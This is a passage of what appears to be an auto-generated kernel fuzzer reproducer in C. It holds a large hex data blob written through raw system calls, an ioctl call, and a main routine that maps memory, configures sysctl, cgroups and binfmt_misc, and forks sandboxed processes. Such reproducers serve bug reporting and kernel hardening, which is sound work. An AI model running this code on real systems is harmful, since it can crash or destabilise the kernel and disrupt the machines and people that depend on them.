"\x49\x9d\x2a\xbb\xbe\x56\x08\x9e\x3d\x83\x3f\x25\xcd\x4f\x26\x70\xc9" "\x82\xb3\x05\x6e\x2a\xbf\x6c\x41\x73\xeb\x38\x1b\xa7\x11\xcb\x75\x14" "\x0f\x5d\xa5\x95\x50\x6a\xd0\x93\x3d\x43\x9f\x7c\x60\x5f\x45\x15\xa9" "\x37\x90\x3a\x18\x77\x8b\x0b\x51\x35\xc5\x91\xaf\xe6\x7d\xbf\xd5\xe5" "\x69\xc6\x83\xee\x21\xe1\xa0\xb9\x35\x37\xe2\x02\x90\x73\x97\x53\xe6" "\x71\x23\x00\x7c\x97\x6d\x92\x92\x3e\xa5\x1d\x3f\x0f\xe0\xdb\x0c\x4e" "\xb5\x9d\xc8\x51\x87\x06\xee\x11\xd5\xee\x9c\x8b\xf1\xea\x1a\x2e\x76" "\x31\x59\x76\x38\xf1\x89\xb3\x29\x0a\x02\xec\xdc\x32\xb2\x62\x00\xbb" "\x5e\x98\x01\x95\xe7\x8a\x7a\x45\x4f\xf8\x2b\x91\x32\x57\x70\x3c\x06" "\x56\x3f\xf3\x75\xe1\x12\x42\x70\x36\x20\x3f\x11\x6c\xe1\x06\x28\x35" "\xfb\x67\x4e\xe8\x5a\xe3\x8d\x26\xfe\x7b\x18\xe7\x87\x2f\x56\x53\x73" "\xdd\xdc\x53\x61\x35\xda\x5c\xd9\xb9\x17\xaa\xe1\x6f\x2c\xbb\x74\xa9" "\xbe\x30\x26\xb3\x84\x4d\xde\xa7\x3b\x48\x15\x77\x4e\x4b\x4b\x8b\xae" "\x75\xbd\xd6\x04\x7e\x41\xa6\x08\x7e\xb2\x25\x6b\xa9\x3a\x4f\xa8\xe8" "\xb3\x75\xe6\xc4\x36\x77\x04\x68\x48\x09\x15\xb3\xf6\xad\x60\xfb\xc2" "\xe7\xf5\x80\x11\x13\xbc\xb1\xac\x3b\xcc\x83\x24\xdd\x4d\xe5\x21\x26" "\x62\x54\x6e\x59\x5f\x83\xbf\x74\xb8\x46\x6a\x34\x7d\x6b\xa4\xb5\xaa" "\xc9\x61\xfe\x57\x25\x7d\x44\xcb\xb8\x24\xba\x28\x53\x64\xf8\xf9\x9e" "\xf9\x4e\x7d\xda\xad\x07\x98\x3d\x52\x2d\x51\x71\x8b\x3c\xab\xdd\xd2" "\x93\xe5\xfe\xd8\x26\xfe\x83\x85\x07\x66\xbc\xa3\xe0\x17\xd8\x31\xf1" "\xa1\x9d\xc6\xf8\x8d\x38\x09\x4b\x4b\xfb\x55\x06\x2e\x96\xbe\x6c\xba" "\x79\x6f\xaa\x54\xec\xff\x71\x30\x6a\x7f\x52\x22\x5f\x5f\x2e\xa9\x6d" "\x1e\x1d\x71\xa6\xf5\xa8\x20\x76\xe9\x19\xe1\x86\xdc\x7f\x7e\xbd\x3e" "\xc8\xca\x5a\xdd\x4c\xe6\x34\x76\x7b\x33\xc0\xf5\x5c\xe1\x41\x29\x54" "\x04\x30\x55\x3e\x6e\x3b\xc4\xdf\x77\x71\xf1\x68\xd6\xb2\x36\x8e\xe2" "\x45\x65\xe2\xec\xae\x05\x1c\xda\x18\x92\x1e\x67\x85\x08\x6d\xf5\x66" "\x13\xe6\xfd\x8a\x65\xc8\x48\xb4\x54\xd2\x70\x6a\x37\x1c\xe6\x4e\x8f" "\xf7\x29\xeb\xc7\x38\x44\x36\x08\x57\xfe\x8c\xa3\xfe\x58\x94\x9b\x58" "\x81\xca\x0a\xc5\x8b\x54\x6f\xd3\x8f\x22\xef\xa0\x8c\xa3\x8c\x6b\x1d" "\x13\x33\xba\x16\xfd\x42\x8e\x7f\xcd\x49\x04\xcd\x69\x67\x03\x9d\xfa" "\x1a\x3f\x75\xfa\xca\x80\x57\x01\xcd\xea\x1e\xf3\xe8\x8e\x14\xb6\x13" "\x9c\xc9\x03\xdf\xa4\xff\x98\xad\x37\x38\xe3\xde\x58\x75\xbf\x4f\x41" "\xcb\x4d\x36\x3c\x6e\x9e\xd7\x76\x4f\xa5\x19\x41\x3b\x68\x6d\xe2\x29" "\x37\xcd\x04\xbc\x15\x45\xcb\x17\x17\xb0\x53\xc2\xa2\xc5\xa0\xb0\x6b" "\x10\x84\x80\x92\xe6\x2b\x90\x7f\xda\xc4\x63\x6e\x41\x8d\x55\xe0\x2b" "\x1a\x7f\xc6\x97\x19\x08\x7a\x9c\x9d\xcb\x3c\x5a\xed\x7e\x42\x93\xf0" "\x47\xa9\x3c\x04\x7b\xcc\x5d\xd6\x9b\x71\x6c\x1f\x89\xe1\x9b\x2c\x96" "\x7a\xe6\xb0\x1e\x3f\x24\x1b\x19\x42\x35\xf5\x67\x31\xbc\x05\xc3\xf9" "\xd8\xee\xb0\xaf\xe9\x95\x25\x81\xd5\x2e\x2e\x8a\xbd\x6d\xb9\x97\x34" "\xc9\xd3\x1b\x90\xa2\xdd\x95\x1b\xf4\x3b\x09\xa6\x5e\x22\x65\x2f\x4a" "\x36\xa4\xea\x8b\x76\x50\x3e\x55\x53\x0f\xc5\xd7\xd9\xfa\xb2\xb2\x26" "\x50\xd7\xf7\x20\x92\xcb\x45\x2c\xbb\xf3\x9e\x6c\x1c\x23\xd0\xbf\x7c" "\x6c\x02\xf7\xd3\x79\x02\x53\x3a\x9e\x6f\x00\xe7\x9c\x91\x93\x1f\x3f" "\x18\xaa\x53\xf5\xc9\x25\x21\x68\xba\xb9\xfe\x47\x02\x96\x59\x29\x83" "\xe3\xfb\x10\x59\xbe\xb7\xe5\xa1\x2a\x00\x5f\xf6\xf6\xcb\x96\x01\x4c" "\x2f\x56\xa3\xf1\x37\x3d\x53\xfb\x61\xd3\x72\x3a\xc8\xd1\xb5\xeb\xf8" "\xdd\xa7\x66\x73\x75\xe2\x67\xde\x30\x23\x3d\x91\xd1\xc5\xe1\x75\xeb" "\xee\xf8\xa3\xbc\xf6\x4f\xe0\x08\xda\xf2\xac\x8d\x9c\x88\x9b\x72\xd3" "\x8f\xaa\xf4\x71\x85\x84\x16\x26\xc1\x9a\x30\xc7\xb6\xf9\x3e\x71\x61" "\x6a\xdd\xd6\x82\x6e\x3a\xb1\x75\x51\x66\x59\x3c\x76\x18\xac\x64\xe6" "\xe3\x14\xed\xc8\x9b\xfb\xdf\x86\x2d\x3a\xc0\x26\x55\x36\x0d\x66\xf4" "\xe7\xcb\x2b\x01\x63\x9d\x2d\x58\xe9\x82\xed\x63\xbc\x41\xed\x9b\xf3" "\x74\x07\x1e\xf4\x4a\xe5\x00\xdb\x41\x3f\x26\x16\xe9\xeb\xdf\xf3\x52" "\x13\xbe\xb1\x68\x42\xfa\x4c\x6f\x7e\x3a\x2f\x94\x60\x80\x39\xdf\x71" "\x00\x70\x2c\x02\xdc\x3a\x07\xb0\xbd\x80\x0c\x01\x1e\xa3\x6b\x92\xbe" "\x32\x4d\x59\x22\xf6\x5e\x81\x76\x33\xcd\x6d\xfa\x47\xfc\xe9\x5d\xbd" "\x83\x3f\xef\x35\x87\xcc\x56\x6c\xeb\x11\x7b\x7f\x51\x49\xa5\x07\x9f" "\x26\xc2\x08\x61\xa0\xe5\xee\xa4\x8c\xea\x9c\x0c\x8b\x39\x94\x76\xb4" "\x25\x8d\x79\xe1\xec\x5b\x89\x2f\xb9\x1d\x2c\x3f\xaf\x66\xeb\x70\x6c" "\x25\x4d\x21\xcf\x29\x8a\x1a\x7e\x4a\xfb\xe3\x53\x4c\x33\xec\x97\x97" "\xbe\xa8\xdb\x87\xcb\xaf\x1f\xbb\x54\x61\x8e\x42\x3c\x5b\xad\x83\xaf" "\x52\x4c\x31\xbb\x83\x55\xa4\xd9\x03\xce\xc9\xd8\x4d\xae\xce\x40\x50" "\xc0\x26\x5b\xbb\x46\xe6\x4d\x9f\xfb\x17\x71\xcd\x88\xfa\xb0\xa8\xae" "\x30\x24\x00\xfa\xba\x83\xf3\xde\x60\x6e\x8e\x05\x0e\x66\x93\x61\xfd" "\x27\xfe\x7d\x84\x94\x75\x24\xa3\xc9\x4e\x06\x4e\xdb\xea\xb4\x55\x6f" "\xa3\xf8\x5d\xa3\xcc\x73\x07\x1b\xdc\x54\x04\x53\x56\xb6\x8d\xa6\x2f" "\x67\x3b\x15\xba\xb2\xb9\xee\xc7\x14\x41\xf0\xd4\xc2\x1f\x39\xed\x0b" "\xf3\x80\x79\x63\x39\x47\x7b\x85\xce\xa9\xd1\x2e\x2f\x0a\x77\x2a\x0a" "\x92\x4c\x7d\x6d\x99\x63\x26\x3c\x43\xae\x21\x50\x4e\xb7\xef\x9c\x09" "\x98\xdf\xd5\xc9\x19\x96\xbd\xef\x34\x1e\xea\x9b\xa4\xe5\x00\xcb\xc5" "\x9c\x90\xf0\x06\xc7\x40\xa9\x48\x3e\x12\x61\x37\x1b\x9d\x69\x02\xac" "\xc7\xad\xea\xf6\xee\x33\xb9\x6f\xf5\x75\x61\x5d\x42\xf1\x38\xed\xd8" "\x89\xe1\x16\x8b\xa6\xf3\xeb\xdf\x4e\x87\x3d\x11\xf9\x37\xf9\xc3\x47" "\xc3\x42\xdb\x4b\x97\x95\x4c\x20\x61\x91\xae\x96\xe4\x7a\xea\x43\x60" "\x4a\x4a\x0e\x4e\x10\x1b\xe6\x47\x9c\x73\xb5\x61\x09\x83\x81\x7b\x13" "\x49\xbb\x68\x16\x0a\x32\x30\x79\xa1\xaf\x2b\x2d\x89\xf0\x1d\x77\x0e" "\xe7\xfc\xfd\x2e\x96\x90\x87\xf9\xb6\x06\x14\xb5\x93\x13\x52\xce\x15" "\x7b\x97\x78\xed\xaf\x22\xc2\xc1\xfd\xd4\x8d\x45\x45\x50\xa6\xa2\xb9" "\x53\x13\x60\xfa\x2a\x46\xce\xe9\x30\x8f\x36\xb1\xe5\x33\x4e\xa5\x72" "\xd3\x52\x8d\xbb\xb4\xb9\xca\xf5\x74\xb9\x97\x11\xe8\x0a\x76\xec\x20" "\xb5\x0d\xa0\xa8\x84\xf3\x6c\x1a\x6e\x5f\x4f\x53\x7e\x32\x8d\xa5\x8c" "\xac\xf7\xf4\xbf\x77\x3e\xad\xd0\xec\x91\x40\xfc\x31\xfd\x1c\x01\x1c" "\x11\xce\x1a\x46\xdd\xf0\x4a\xc0\x8c\xf6\xb6\xdb\xc2\xbb\xc3\xf6\xe3" "\x5b\xd4\x88\x53\x55\xe5\xd4\x17\x0e\x6a\x1c\xa5\xbd\xd9\xfe\xe9\xaf" "\x8f\xa8\x72\x3f\x07\xca\x2b\xdd\x35\x81\x20\x82\xba\x2c\x8d\x71\x0b" "\x43\x49\x54\x27\x2f\x73\xd2\x34\x07\xe1\x82\xd1\x7e\xb8\xd2\xc8\x67" "\xc1\x7b\x16\x1d\x41\x88\x66\xff\x7e\x4b\x79\x55\x1f\xe7\xc9\x6a\x66" "\x49\xf4\x05\xd4\x78\xdb\x96\x75\xb1\xe3\x11\x54\xd1\x4a\x0f\x2d\x38" "\xbe\x8a\xbc\x58\xca\xcd\x0a\xd4\xca\x2e\x7b\x90\x25\xb8\xe9\x62\x06" "\x42\x10\xb1\x59\x85\xc6\x29\xad\xa0\x9a\x71\x1f\x96\x55\xa7\xed\x20" "\x9b\x52\xfb\xcc\xcf\x1d\x1d\x04\xea\x07\x06\x73\x94\x57\xdc\xa3\x71" "\x72\xcb\x32\x9b\xe3\x77\x2d\x78\x75\x8a\x0d\xe9\xb1\xc9\xe0\x53\xfe" "\xda\x3d\x69\xe9\x3f\x12\x10\xd9\x42\x5b\x0d\xb3\xdc\x55\x1c\xb4\x6f" "\xfa\x69\x3c\x04\xd7\x4c\x2e\x4e\xfa\x91\x4a\x42\x6b\xd2\xc9\x88\x8e" "\x15\xdd\x43\x1a\x18\x57\x86\x7d\x4f\x1b\x00\xa2\xd6\x33\x54\x1d\xcf" "\xfd\xee\xd0\xd7\xb7\x97\x0c\x17\x28\x61\x51\x2f\xcf\x90\xe6\xfd\xb8" "\xd0\xd4\xc9\xf4\x09\x13\x35\xa8\x76\x1c\xe3\xfe\xa5\xca\x63\x49\x29" "\xe2\x51\xd1\xf7\x8d\x40\x17\xfb\x7f\xbb\xd1\x91\xbc\x57\x59\xd7\x47" "\x02\x5e\x6e\x15\x5d\x4f\xbd\xd3\xba\x3c\x9f\x64\x0c\xe7\xbc\xbd\xb0" "\x66\x4e\xb2\xe8\xc2\xe4\xea\xe3\x7d\xa1\xcb\x1a\xcc\xbc\x57\x82\x7e" "\x25\xb3\x4b\x3b\x8d\x0d\x18\x07\xc7\xea\xd7\x90\x26\xb3\x89\x30\x3d" "\x7e\x4b\x64\x31\x7c\x34\xc7\x28\xeb\x95\x87\xb1\x38\xb9\xce\x8d\x7b" "\x20\xb0\x43\x2b\x5e\x32\x5d\x29\x1f\xb8\x38\x84\x49\x9f\x60\x2c\xa4" "\xad\xc4\x79\xd3\x7d\x4a\x0a\xc6\x7f\x29\x0d\x1c\xe7\x1d\xc8\x7d\xc7" "\x9c\xe5\xc6\x00\x06\xec\x1e\x58\x8b\xb9\xca\x84\x28\x05\x8e\xb2\x7c" "\x9c\xff\x00\xe6\x77\x70\x61\xcd\x92\xa1\x66\x37\xbc\x27\x45\xae\xb5" "\x60\x45\x9a\x39\xdf\x30\x54\x38\xa2\x53\x0a\xb2\x3a\x41\x42\xd3\x92" "\xa5\x2b\x3b\x27\x11\x44\xd5\x70\x6a\xae\x78\xe5\x72\x92\xe0\x6b\xfa" "\xf2\xc5\x1d\xb7\x70\x7d\x24\x0a\x11\x3c\x1e\x55\x77\x1e\x31\x67\x4c" "\x04\x46\x89\x9d\x96\x85\xe2\x13\xc8\xe5\xd5\xab\x8d\xb5\xe1\x17\x99" "\xaa\xfb\x24\xe0\x8e\xcd\xb9\x90\x01\xd1\x97\x13\xec\x92\x9b\x6a\x27" "\x02\x2e\x67\x71\x87\xe3\xc5\x96\x07\x45\xd8\x5f\x16\xcc\x8e\x14\x94" "\x49\x57\xce\x7f\xfb\x1e\xc9\xc9\xbc\xc8\xeb\xf8\x7a\x3c\x43\x50\xf9" "\x4c\xa5\x12\xce\xcb\x1b\x86\x5c\x4b\x25\x5d\x8b\xe4\xd0\xb7\x54\x02" "\x8e\xd1\x48\x9e\xa5\x94\x00\xa3\x06\x09\xe2\x12\x38\x5e\x75\x77\x72" "\x6a\x31\x43\x27\xa2\x5a\xf5\xd3\xee\xf4\x8e\xec\xcf\xda\x5d\xff\x07" "\x71\x91\xce\xba\x9b\xdd\x61\x97\x3a\x55\x8f\x64\x3c\x1d\xa7\x49\xa8" "\x7c\x2b\x1b\x50\xc2\xbc\x30\xf8\x25\x07\x96\xa3\xc3\x07\xd3\x15\x6a" "\x6c\x6b\x70\xcf\x22\x15\x0e\x1f\xe4\xe2\xae\x1c\xdf\x1d\x28\xb4\x82" "\x89\x82\xdc\x88\x3d\x9a\xef\xc7\x9f\x7e\x13\xbd\xab\x8f\x90\x07\x84" "\x92\xc7\xc2\xfc\x82\x27\x6e\xd9\x84\x18\x2b\xd5\xc8\x71\x5a\xb5\xe2" "\xef\x6e\x34\x07\xc7\xfa\x41\xe0\x86\x65\x6a\xce\xf8\x37\x3e\x62\xef" "\x3d\xc7\x45\x19\x85\x58\x86\x74\x1f\x6c\xbe\x70\xfb\x2e\x46\x16\x4b" "\x6e\x3c\xa0\xec\x0b\x22\x99\xa6\xba\x79\xdc\xb0\xa4\xfd\x4f\x38\x35" "\xc8\xfc\x9a\xe7\xe6\xec\x0e\x4a\xc2\xfa\x9f\x24\x97\x88\xd0\x8a\xed" "\x12\x2e\xf3\x2a\x38\x07\xa5\x79\x68\x6f\xd2\xf5\x46\xdf\xb0\xad\xe7" "\xb6\xc7\xff\x0e\xe7\x94\x41\x4d\xe7\xde\x74\x09\x85\xb8\xc4\x37\x4d" "\x9f\x30\xa6\xdc\xfb\x95\xcc\x76\x60\xe8\x99\xd7\x3a\x54\x35\x77\x54" "\xa7\x59\x31\x11\xda\x09\xd1\xa5\x1e\xd8\x7d\x5a\xf2\xe3\x79\x48\x28" "\x45\x7a\xf3\x0d\x60\x16\x5e\xf1\x2e\x14\xae\xec\xa0\xc1\x14\xd2\x6d" "\x5a\x15\x4e\x97\xba\xa5\x36\xd6\xd6\x5a\x26\xb2\x0f\x26\x2e\x4d\x2e" "\x09\x77\x48\x6c\x88\xf3\x89\xc5\x64\xd4\xf2\x47\xbc\xa4\xa3\x52\x09" "\x1b\xa7\x39\x44\xd7\x7e\xdc\x06\x61\x9d\x9f\xb9\x46\x8e\xee\x9f\xd6" "\xe8\x93\x26\x9a\x0c\x94\x4d\xed\x50\x7f\xdf\xde\xa6\x22\x75\xe9\x72" "\xba\x2a\x3e\x2b\x0c\xc2\x79\x1a\x07\xa0\xa0\x5f\x83\x2d\xcf\x10\x76" "\x67\x74\x66\x59\x2a\x09\xb4\xbc\x83\xf7\x01\x91\xe2\x5e\xdb\xcb\x95" "\x92\xab\xcf\x8a\xe6\x59\xb7\x95\x8c\x0e\x49\x69\x54\x14\xd6\x8b\x32" "\x16\xb6\x96\x1f\x9c\x4e\xac\x7a\x99\x55\xf2\xe6\xee\xa8\x7a\x6a\xc0" "\x21\x9a\xf1\x64\xd1\xbe\xdc\xcf\x14\x80\x98\x62\x1e\xc0\xa8\x1a\x94" "\x96\x78\x02\x20\x16\x18\x3e\x80\xc4\x83\xf6\xa3\x4c\x89\xc3\x4f\x3f" "\x21\xe6\x54\x26\xa1\xb1\x70\x36\x4f\x50\xac\x1b\xc0\x97\x88\xb6\x02" "\x5e\x74\xfc\x86\xcb\x9e\x3e\x61\xa0\xad\x1e\x88\x56\x8c\x79\xe9\x8d" "\x18\x0b\x00\xa1\x62\xf2\x47\x7b\x8f\x29\xb1\x07\xae\xb0\xf3\xec\x48" "\x92\x74\xa0\x10\x8a\x74\x7b\x3f\x09\x40\x54\x93\xc9\x00\x72\xed\xe7" "\xd1\xcb\x63\x42\x4d\xf8\x5e\x49\xc4\x4f\x40\xc9\x5f\x38\x6d\x16\xde" "\xae\x28\x8d\xbc\xf3\x35\xc1\xeb\xa6\x0f\x2b\x47\x96\x9b\xe5\xf4\x60" "\x3a\x13\xa5\x50\x68\x51\xb8\x23\x69\x72\xc5\x4e\xb4\x3d\x8d\x9f", 4096); syscall(__NR_write, r[3], 0x20002480ul, 0x101aul); break; case 13: memcpy((void*)0x200000c0, "\x60\xff", 2); syscall(__NR_ioctl, -1, 0xc0105872, 0x200000c0ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_sysctl(); setup_cgroups(); setup_binfmt_misc(); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { use_temporary_dir(); do_sandbox_none(); } } sleep(1000000); return 0; }